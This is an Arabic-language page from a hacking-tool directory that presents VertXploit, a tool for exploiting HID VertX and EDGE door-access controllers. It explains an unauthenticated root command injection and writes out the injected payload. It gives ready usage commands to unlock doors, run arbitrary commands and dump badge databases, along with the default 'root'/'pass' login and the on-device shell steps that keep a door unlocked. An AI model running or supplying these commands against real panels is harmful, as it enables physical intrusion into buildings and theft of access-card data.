Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
VertXploit — استغلال أنظمة التحكم في الوصول HID VertX وEDGE | Kitploit
أدوات/GitHubGitHub/coldfusion39/vertxploit
تخطيط الشبكةتحليل الثغرات الأمنيةالاستغلالجمع المعلوماتما بعد الاستغلالأمان الأجهزة وإنترنت الأشياء
GitHubcoldfusion39/vertxploit

VertXploit

استغلال أنظمة التحكم في الوصول HID VertX وEDGE

عرض المستودع
2510منذ 9 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

VertXploit

استغلال أنظمة التحكم في الدخول HID VertX و EDGE

الملخص

VertXploit هي أداة يمكن استخدامها لاستغلال أنظمة التحكم في الدخول HID VertX و EDGE.

توجد ثغرة داخل خدمة discoveryd، التي تفشل في تعقيم بيانات المستخدم قبل تنفيذ استدعاءات النظام. وهذا يسمح بتنفيذ تعليمات برمجية عشوائية على أنظمة التحكم في الدخول HID VertX و EDGE دون الحاجة إلى المصادقة. راجع قسم حقن الأوامر لمزيد من المعلومات.

يمكن لـ VertXploit فتح أو قفل الأبواب المتصلة بنظام التحكم في الدخول، وتنزيل قواعد البيانات التي تحتوي على جميع بطاقات التحكم في الدخول الموفرة/المخزنة مؤقتًا، وتنفيذ أوامر عشوائية بصلاحيات الجذر (root) على نظام VertX، إذا كان عرضة للثغرة.

إذا تم تحديث البرنامج الثابت لوحدة تحكم VertX مؤخرًا، فسيحاول vertXploit فتح أو قفل الأبواب من خلال وحدة التحكم عبر الويب باستخدام اسم المستخدم وكلمة المرور الافتراضيين أو المقدمين من المستخدم.

المتطلبات

شغّل pip install -r requirements.txt لتثبيت وحدات بايثون المطلوبة.

  • python-nmap
  • requests
  • tabulate

استخدام VertXploit

شغّل ./vertXploit.py -h لإظهار قائمة المساعدة، أو ./vertXploit.py ACTION -h لإظهار المساعدة لإجراء معين.

الاكتشاف

شغّل vertXploit مع وسيط الإجراء discover فقط لاكتشاف جميع أنظمة التحكم في الدخول HID على شبكة البث المحلية. إذا تم توفير عنوان IP مع الوسيط الاختياري --ip IP، فسيستخدم vertXploit python-nmap لفحص نطاق الشبكة /24 لذلك العنوان بحثًا عن الأنظمة التي لديها المنفذ 4050 مفتوحًا. سيرسل VertXploit بعد ذلك حزمة اكتشاف UDP إلى عنوان IP المحدد لتحديد ما إذا كان هذا النظام لوحة تحكم في الدخول HID.

مثال:

./vertXploit.py discover

./vertXploit.py discover --ip 10.1.10.5

بصمة النظام

بمجرد اكتشاف وحدة تحكم، شغّل vertXploit مع وسيط الإجراء fingerprint وعنوان IP الخاص بوحدة التحكم في الدخول لإرجاع معلومات مفصلة حول لوحة التحكم في الدخول.

مثال:

./vertXploit.py fingerprint 10.1.10.5

الفتح/القفل

لفتح أو قفل الأبواب المتصلة بلوحة التحكم في الدخول، شغّل vertXploit مع وسيط الإجراء unlock أو lock وعنوان IP الخاص بوحدة التحكم. إذا كانت وحدة التحكم غير عرضة لاستغلال حقن الأوامر، فسيحاول vertXploit فتح أو قفل الأبواب من خلال وحدة التحكم عبر الويب. تستخدم هذه الطريقة اسم المستخدم الافتراضي 'root' وكلمة المرور الافتراضية 'pass'، أو يمكنك توفير اسم المستخدم وكلمة المرور الخاصة بك مع الوسيطين --username USERNAME و --password PASSWORD.

مثال:

./vertXploit.py unlock 10.1.10.5

./vertXploit.py unlock 10.1.10.5 --username test --password test

الأوامر الخام

يمكن تنفيذ أوامر Linux عشوائية على نظام التحكم في الدخول باستخدام وسيط الإجراء raw وعنوان IP الخاص بوحدة التحكم. قد يفشل تنفيذ الأمر إذا لم يكن مثبتًا على وحدة التحكم (Python, Perl, Ruby, إلخ). كإثبات بسيط على المفهوم، يبدو أن أمر 'ping' الأصلي في Linux يعمل على جميع موديلات VertX و EDGE التي تم اختبارها.

مثال:

./vertXploit.py raw 10.1.10.5 'ping -c 5 10.1.10.39'

التنزيل

لتنزيل قواعد بيانات البطاقات الخاصة بوحدة التحكم، شغّل vertXploit مع وسيط الإجراء download وعنوان IP الخاص بوحدة التحكم. يجب أن تكون وحدة التحكم عرضة لثغرة حقن الأوامر ويجب أن تكون قادرًا على الوصول إلى واجهة الويب الخاصة بوحدة التحكم لتنزيل قاعدتي بيانات البطاقات. يتم استخدام اسم المستخدم الافتراضي 'root' وكلمة المرور الافتراضية 'pass' للمصادقة عبر الويب، أو يمكنك توفير اسم المستخدم وكلمة المرور الخاصة بك مع الوسيطين --username USERNAME و --password PASSWORD.

مثال:

./vertXploit.py download 10.1.10.5

./vertXploit.py download 10.1.10.5 --username test --password test

التفريغ

بعد تنزيل قاعدتي البيانات 'IdentDB' و 'AccessDB' من وحدة التحكم، استخدم وسيط الإجراء dump لتفريغ محتويات قواعد البيانات. يمكنك اختياريًا تحديد مسار الملف المحلي لقواعد البيانات مع الوسيط --path PATH.

مثال:

./vertXploit.py dump

./vertXploit.py dump --path /root/VertX/DBs/

حقن الأوامر

عادةً ما يتم تثبيت وحدات تحكم متعددة من VertX أو EDGE معًا في نفس المكان. يمكن إرسال أمر التشخيص command_blink_on إلى وحدة تحكم محددة مما يتسبب في وميض مؤشر "Comm" الفعلي للوحة وإطفائه لتحديد هويتها بصريًا. عادةً ما ينتهي هذا الأمر بعدد المرات التي يجب أن يومض فيها المؤشر، في الحالة التالية، 30 مرة.

command_blink_on;044;00:11:22:33:44:55;30;

من خلال استبدال عدد الومضات بأمر Linux محاط بعلامتي backticks، سيتم تنفيذ الأمر على وحدة التحكم في الدخول، بصلاحيات الجذر (root).

command_blink_on;044;00:11:22:33:44:55;`ping -c 5 10.1.10.39`;

لفتح وقفل الأبواب عن بُعد المتصلة بنظام التحكم في الدخول، يتم إرسال الأوامر إلى /tmp/a. يتم ذلك بسبب وجود حد أقصى للطول يبلغ 41 حرفًا، لا يشمل علامتي backticks، يمكن إرسالها إلى وحدة التحكم. ملاحظة: يتم استخدام echo بدلاً من printf لأن بعض وحدات تحكم VertX القديمة تعمل بنظام BusyBox < 1.0.1 الذي لا يتضمن printf.

تتم بعد ذلك إزالة الأسطر الجديدة الناتجة عن إرسال الأوامر إلى الملف عن طريق تشغيل tr -d '\n' < /tmp/a > /tmp/b ويتم إدراج الأسطر الجديدة المقصودة عن طريق تشغيل tr '!' '\n' < /tmp/b > /tmp/a.

ثم يتم تنفيذ السكربت /tmp/a ويتم حذف كلا الملفين. يوضح ما يلي الأوامر التي يتم إرسالها إلى /tmp/a عند إرسال أوامر الفتح والقفل إلى وحدة تحكم VertX.

الفتح

root@kitploit:~
# Set QUERY_STRING to the door unlock value
export QUERY_STRING="?ID=0&BoardType=VXXX&Description=Strike&Relay=1&Action=1"

# Run 'diagnostics_execute.cgi' script
/mnt/apps/web/cgi-bin/diagnostics_execute.cgi

# Remove executable permissions to prevent the door from locking
chmod -x /mnt/apps/web/cgi-bin/diagnostics_execute.cgi

القفل

root@kitploit:~
# Enable executable permissions
chmod +x /mnt/apps/web/cgi-bin/diagnostics_execute.cgi

# Set QUERY_STRING to the door lock value
export QUERY_STRING="?ID=0&BoardType=VXXX&Description=Strike&Relay=1&Action=0"

# Run 'diagnostics_execute.cgi' script
/mnt/apps/web/cgi-bin/diagnostics_execute.cgi

الموارد

  • HeadlessZeke - ثغرة حقن الأوامر
  • ZDI - الإفصاح العام
  • TrendMicro Blog - مدونة حول ثغرة حقن الأوامر
  • Brad Antoniewicz - تحليل أرقام البطاقات من ذاكرة التخزين المؤقت لـ VertX
  • أعمال أخرى - أوامر اكتشاف VertX
تنزيل الأداة